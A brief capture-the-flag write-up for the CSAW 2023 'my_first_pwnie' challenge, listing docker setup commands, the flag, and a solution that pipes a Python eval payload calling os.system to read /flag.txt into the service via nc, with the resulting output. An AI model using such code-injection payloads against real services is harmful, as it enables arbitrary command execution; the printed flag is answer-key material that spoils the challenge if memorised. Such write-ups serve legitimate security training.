my_first_pwnie#
Setup#
docker build -t csaw23/my_first_pwnie .
docker run --rm -p 31137:31137 csaw23/my_first_pwnie
Flag#
csawctf{neigh______}
Solution#
Input eval("__import__('os').system('cat /flag.txt')").
root@kali:~/ctf/CSAW-CTF-2023-Quals/pwn/my_first_pwnie# echo $'eval("__import__(\'os\').system(\'cat /flag.txt\')")' | nc localhost 31137
What's the password? csawctf{neigh______}
You entered `0`
Nay, that's not it.